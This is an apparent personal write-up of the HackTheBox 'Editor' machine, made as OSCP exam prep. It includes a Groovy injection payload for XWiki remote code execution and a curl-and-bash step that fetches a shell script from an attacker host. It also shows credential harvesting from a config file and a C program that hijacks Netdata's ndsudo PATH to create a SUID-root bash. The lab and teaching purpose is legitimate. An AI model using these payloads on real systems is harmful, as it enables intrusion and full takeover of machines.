OSCP Prep #13 HTB Write-Up Editor

1. Target Overview
Machine Name: Editor
Platform: HackTheBox
Operating System: Linux
Target IP: 10.129.231.23
Objective: Gain user and root access
Editor ended up being one of the more instructive Linux machines I have done so far because it did not depend on one lucky guess or one overly specific trick. Instead, it rewarded steady enumeration and good decision-making.
Tools Used
Nmap - Initial service enumeration
ffuf - Virtual host and directory discovery
Burp Suite - Request inspection and payload manipulation
Searchsploit - Local vulnerability research
Metasploit - Initial exploit testing
Browser Developer Tools / Manual Browsing - Application inspection
SSH - User access and local port forwarding
curl - Payload staging
Netcat - Reverse shell handling
GCC - Compiling the C payload for privilege escalation
2. Enumeration
As usual, I started with an Nmap scan to identify what was exposed and begin forming an idea of where the likely entry point would be.
nmap -sC -sV -oN nmap.txt 10.129.231.23
The scan showed three open ports:
22/tcp - SSH - OpenSSH 8.9p1
80/tcp - HTTP - Nginx 1.18.0
8080/tcp - HTTP - Jetty 10.0.20
That is a pretty small attack surface. When I see only SSH and a couple of web services, my first assumption is usually that the initial foothold will come through the web application rather than SSH. SSH is still important, but unless I already have credentials, it is usually more of a post-exploitation service than the true entry point.
The fact that there were two web services also mattered. Port 80 and port 8080 were not just duplicates of each other. They were backed by different web servers, which immediately suggested they might be serving different content or different components of the same application stack. That gave me a clear direction: inspect both carefully and determine how they relate to each other.
Initial Web Recon on Port 80
When I browsed to port 80, one of the first things I noticed was that the server redirected me to:
editor.htb
That told me right away that name-based routing was likely involved, so I added the hostname to my /etc/hosts file.
That redirect was important for two reasons. First, it confirmed that I should be working with the hostname rather than only the IP. Second, anytime I see one custom hostname on an HTB target, I start thinking about additional virtual hosts. If the application already depends on one named host, there is a decent chance there are others.
ffuf -u http://10.129.231.23 -H "Host: FUZZ.editor.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 4
That returned:
wiki.editor.htb
I added that to my hosts file as well:
That was a meaningful result because it immediately expanded the target from “one simple site” to “a main site plus a wiki or documentation component.” A separate wiki subdomain often means a separate application stack, and separate application stacks often mean separate vulnerabilities.
Inspecting the Main Site
Before fully pivoting, I still spent some time looking at the main application at editor.htb to see whether there was anything obvious.
The site looked like a marketing or landing page for a code editing product.
It did not expose much in the way of user interaction. There were no login forms, no search boxes, no file upload features, and no obvious places where I could start testing user-controlled input. When I am assessing a web application, I am always trying to identify where data is being accepted and processed. Static pages are still worth checking, but if there is no meaningful functionality, the odds of wins are lower.
I still ran directory brute forcing to make sure I was not missing anything hidden behind the visible homepage.
ffuf -u http://editor.htb/FUZZ -w /usr/share/wordlists/dirbuster/elite.txt
The results were not particularly interesting. At that point, I made the practical decision not to over-invest in the main site. The more promising attack surface was clearly the subdomain.
Inspecting the Wiki Subdomain
When I navigated to wiki.editor.htb, I found what looked like documentation for the product. The site had the appearance of a CMS-backed wiki rather than a custom-built application, and that immediately changed how I thought about enumeration.
With a CMS, I immediately care about three things:
What CMS is this?
What version is it running?
Are there known vulnerabilities for that version?
In the footer, I found the answer:
That was the first genuinely high-value piece of information on the box.
Whenever I see an application disclose an exact version number, that is a gift. It does not guarantee a vulnerability, but it gives you something concrete to investigate instead of just guessing. At that point, the wiki became a likely entry point.
3. Exploitation
Researching XWiki 15.10.8
Once I knew the target was running XWiki 15.10.8, I shifted from generic web enumeration to version-based vulnerability research.
I started locally with Searchsploit:
searchsploit xwiki
I saw references to XWiki issues, and I also experimented with Metasploit against a later-version-related exploit, but it did not pan out.
After that, I did a web search and found a CVE describing an unauthenticated remote code execution issue affecting this version range.
The bug essentially came down to an endpoint accepting user-controlled input in a way that did not properly sanitize injected Groovy code. That meant the application could be tricked into evaluating attacker-supplied code on the server side. Once I understood that, the next step was to first prove code execution with something simple and controlled.
Validating Code Execution
To confirm the vulnerability, I used a basic payload that attempted to execute the id command.
}}}{{async async=false}}{{groovy}}'id'.execute(){{/groovy}}{{/async}}
At first, it failed. This turned into one of the more useful lessons from the box, because the issue was not that the target was patched and not that the technique was wrong. The issue was my encoding.
I had been relying on Burp’s default shortcut for URL encoding, but I learned the hard way that it does not always encode every character in the way I need for these kinds of payloads. In an exploit path like this, even a small encoding mismatch can completely break execution. So I went back, manually ensured the payload was fully encoded, and resent it.
Once I did that properly, the payload worked.
With the corrected encoding, I had confirmed command execution. At that point, I knew that I had a viable path to an initial foothold.
Trying to Convert RCE into a Shell
The next natural step was to upgrade from simple command execution to an interactive shell. My first instinct was the same as it usually is: use a standard bash reverse shell one-liner.
That failed.
Instead of getting a shell, I started receiving server errors. This was another really useful learning moment, because it forced me to separate two ideas that are easy to conflate:
I have command execution
My chosen payload is valid in this execution context
Those are not the same thing.
The target was executing Groovy code, and while it was willing to evaluate certain simple commands, it clearly did not like the characters involved in my bash reverse shell one-liner. Things like redirection operators and other shell metacharacters were causing problems even when encoded. So the lesson here was “the interpreter and context are picky, so I need a cleaner way to deliver the payload.”
That is where simplifying the attack path paid off.
Using a Staged Payload Instead of a Complex One-Liner
Rather than continuing to fight the interpreter with a more and more complicated one-liner, I decided to break the attack into smaller, cleaner steps.
First, I hosted a shell script from my attacker box. Then I used a simple download command on the target:
curl http://<attacker_ip>/shell.sh -o /dev/shm/shell.sh
After that, I executed it with:
bash /dev/shm/shell.sh
This worked immediately.
The reason this worked so much better is that the command string itself was now very simple. I was no longer asking the vulnerable application to process a fragile reverse shell one-liner full of characters that might break parsing or execution. I was just telling it to download a file and then run it. That is much cleaner and much more reliable.
This was probably one of the most foundational lessons from the box for me. When I have RCE but the execution context is fragile, I do not need to cram the whole attack into one command. It is often smarter to stage the payload externally and use the vulnerability only to bootstrap execution.
That gave me a shell as:
xwiki
At that point, the initial foothold was complete, and I moved into local enumeration.
4. Privilege Escalation
Initial Enumeration as xwiki
Once I landed a shell, I immediately switched into my usual Linux privilege escalation routine.
I started with the basics:
whoami
id
sudo -l
As expected, I was the xwiki user. sudo -l did not reveal anything useful, so there was no obvious direct sudo-based escalation path.
Next, I wanted to understand which real user accounts on the system had shells.
cat /etc/passwd | grep sh
Aside from root, the main interesting local user was oliver. At that point, the question became whether I could find credentials or access material that would let me move from the application account to the real user account.
I checked Oliver’s home directory, but I did not have access. Web application accounts often have access to configuration files, and configuration files often contain credentials.
Searching Application Files for Credentials
Because the foothold came through XWiki, I began checking application-related files and directories for secrets. I used a quick recursive search for password-like strings.
grep -r pass *
That search led me to a configuration file:
hibernate.cfg.xml
Inside it, I found a credential that looked promising.
Application configs often bridge the gap between the service account and a real user account.
Trying the Credential Against Oliver
My first instinct was to test the password with su:
su oliver
It failed.
This was another excellent lesson from the box because it would have been easy to conclude that the credential was wrong or unrelated. But instead of discarding it, I tested it over SSH:
ssh oliver@10.129.231.23
That worked.
That surprised me at first, but it reinforced an important point: credentials do not always behave the same way across every authentication mechanism. The failure of su did not prove the password was useless.
Enumerating Internal Services as Oliver
As oliver, I checked sudo -l again, but there was nothing useful there either. I also did not find anything immediately interesting in the home directory, so I moved to one of the most important Linux post-exploitation habits: checking which services are listening locally.
ss -tuln
This showed several services bound to localhost, including:
19999
8125
45665
These stood out because localhost-bound services are often administrative or internal-only components.
At this point, I wanted to inspect those services from my browser and tools on my attacker machine, so I used SSH port forwarding.
ssh -L 19999:127.0.0.1:19999 -L 8125:127.0.0.1:8125 -L 45665:127.0.0.1:45665 oliver@10.129.231.23
That was another nice practical lesson. I had not really internalized before that I could forward multiple ports in one SSH command at once. Once I did that the next step was to investigate the services.
Investigating Netdata on Port 19999
The first forwarded service I checked was port 19999, and it turned out to be Netdata.
I was not very familiar with Netdata going into the box, but one good habit I try to stick to is this: when I discover an unfamiliar service, I identify the version if possible and search for known issues.
That led me to documentation describing a vulnerability involving ndsudo, a helper used by Netdata. The weakness came down to path hijacking. The privileged program was invoking certain commands without absolute paths, which meant the resolution of those commands depended on the contents of the PATH environment variable.
That is dangerous because if I can place a malicious executable with the expected name in a directory I control and ensure that directory is searched first, I can potentially trick the privileged program into running my executable instead of the intended system one.
My First Attempt at Exploiting the Path Hijack
My initial idea was simple: create a malicious script, adjust PATH, and trigger the vulnerable functionality.
That did execute, but the result was disappointing: I was still oliver.
This was one of the best teaching points on the machine because from a distance it looked like the exploit almost worked. I had to stop and ask why a privileged helper would run my payload and still not actually elevate me.
The answer came down to the difference between a script and a true binary executable in this context.
Why the Script-Based Attempt Failed
The vulnerable helper expected an executable file. My replacement payload was a script. In situations like this, the way the operating system and interpreter handle scripts can result in privileges being dropped for safety. In other words, even though my file was being invoked, it was not being treated in a way that preserved the privileged execution context I needed.
That was a really useful concept to run into firsthand. It showed me that not every file that is “executable” is functionally equivalent for privilege escalation. Sometimes the distinction between “script interpreted by a shell” and “ELF binary executed directly” matters a lot.
So instead of continuing to force a script-based payload, I moved to a compiled C binary.
Writing a C Payload for Reliable Elevation
To make the exploit reliable, I wrote a small C program that explicitly set the real and effective user and group IDs to 0, then copied /bin/bash, changed ownership to root, and applied SUID permissions.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
int main() {
setuid(0);
seteuid(0);
setgid(0);
setegid(0);
system("cp /bin/bash /home/oliver/neo; chown root:root /home/oliver/neo; chmod 6777 /home/oliver/neo");
}
I compiled it, named it after the command ndsudo was expecting, and placed it in a writable directory under my control. Then I made sure that directory appeared early in my PATH.
The reason this worked where the script failed is that I was now giving the vulnerable program what it effectively wanted: a true executable binary that would run directly and preserve the privileged context long enough for my code to do its job.
When I triggered the vulnerable Netdata helper, it created my SUID-root copy of bash as intended.
Then I simply ran:
./neo -p
whoami
And got:
root
5. Lessons Learned
1. Version disclosure on a CMS is always a potential attack vector.
Whenever I encounter a CMS or framework and can identify the version, I need to immediately search for known vulnerabilities. That piece of enumeration was the difference between blindly poking at a wiki and turning it into a foothold.
2. Encoding issues can break a valid exploit path
I learned a very practical lesson about request encoding here. I had a valid exploit path in front of me, but because the payload was not encoded the way I thought it was, it initially failed.
3. Simpler payloads are often more reliable than clever ones
This box reinforced the value of simplifying payloads when the execution context is unstable or picky. I initially tried to force a reverse shell one-liner through Groovy, but it kept breaking. Once I split the attack into smaller steps and staged the payload externally, everything became much more reliable. That is a lesson I expect to reuse often.
4. Credentials should be tested across multiple access methods
I got a very useful reminder that credentials should be tested across multiple access methods. The credential I found did not work with su, but it did work over SSH. If I had treated the first failure as definitive, I would have missed the valid pivot.
5. Internal-only services become part of the attack surface after a foothold
The box highlighted how important localhost-only services can be after a foothold. It is easy to focus only on what is exposed externally, but once I had user access, internal services became part of the attack surface too. Port forwarding let me inspect that hidden layer of the system much more effectively.
6. Scripts and compiled binaries are not interchangeable in privileged contexts
The privilege escalation path taught me an important technical distinction between scripts and compiled binaries in privileged execution contexts. My first exploit attempt was conceptually correct but mechanically wrong. Only when I slowed down and understood why the privilege drop was happening did I realize I needed a real binary rather than a script.
6. Defensive Insight
1. Internet-facing CMS platforms need to be patched aggressively
The most obvious issue was the vulnerable XWiki instance. Running a CMS with a known RCE vulnerability and exposing its version publicly gave an attacker both the target and the roadmap. Keeping internet-facing software patched and reducing version disclosure wherever possible would have significantly improved the defensive posture.
2. Plaintext credentials in configuration files create easy pivot opportunities
The application configuration hygiene was also poor. Storing credentials in accessible plaintext configuration files gave the attacker an easy bridge from the service account into a real user account. Sensitive secrets should be stored more securely and access to configuration files should be tightly controlled.
3. SSH access and credential reuse should be tightly controlled
On the authentication side, the environment also benefited the attacker by allowing that credential to be used over SSH. Restricting SSH access, enforcing stronger credential hygiene, and limiting where and how service-related secrets can be reused would all reduce the chance of this kind of pivot.
4. Privileged binaries should never rely on unsafe PATH resolution
The privilege escalation issue in Netdata was another clear example of why privileged binaries should use absolute paths and avoid unsafe dependence on environment-controlled values like PATH. If a privileged program invokes helper commands, it should do so explicitly and defensively, not in a way that allows a user to influence command resolution.
5. Localhost-bound services are not automatically safe
Lastly, the machine is a good reminder that localhost-bound services are not inherently safe. Developers and administrators sometimes treat “listening only on 127.0.0.1” as if it means “not reachable by attackers,” but once a user account is compromised, that assumption breaks down quickly. Internal services still need to be hardened because a foothold often turns them into the next step of the attack chain.
7. Useful Commands
# Initial Nmap scan
nmap -sC -sV -oN nmap.txt 10.129.231.23
# Vhost enumeration
ffuf -u http://10.129.231.23 -H "Host: FUZZ.editor.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 4
# Directory brute forcing against the main site
ffuf -u http://editor.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Search for XWiki-related exploits
searchsploit xwiki
# Identify local users with shells
cat /etc/passwd | grep sh
# Search recursively for password-like strings in accessible files
grep -r pass *
# Inspect localhost-bound services
ss -tuln
# Forward multiple internal ports in one SSH command
ssh -L 19999:127.0.0.1:19999 -L 8125:127.0.0.1:8125 -L 45665:127.0.0.1:45665 oliver@10.129.231.23
# Stage a reverse shell more reliably via file download
curl http://<attacker_ip>/shell.sh -o /dev/shm/shell.sh
bash /dev/shm/shell.sh






